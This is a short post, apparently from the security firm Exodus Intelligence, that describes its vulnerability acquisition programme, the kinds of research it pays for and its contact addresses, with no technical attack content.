As Exodus Intelligence does not support any products of our own, we are interested not only in code execution issues, but also vulnerabilities that other acquisition programs may not be (local vulnerabilities, memory disclosures, techniques).

One of the main focuses of Exodus is to provide information to our customers on vulnerabilities we believe are not only exploitable, but likely to be exploited. While this means we may be turning down submissions that are simply theoretically exploitable, it also means we are able to better compensate researchers for the work we are interested in.

There is a FAQ available on the EIP website, but if you have any specific questions feel free to e-mail us at eip@exodusintel.com (PGP).

For more generic questions or press inquiries, please use info@exodusintel.com (PGP).

 

Posted by: Aaron Portnoy, Zef Cekaj, Logan Brown, Brandon Edwards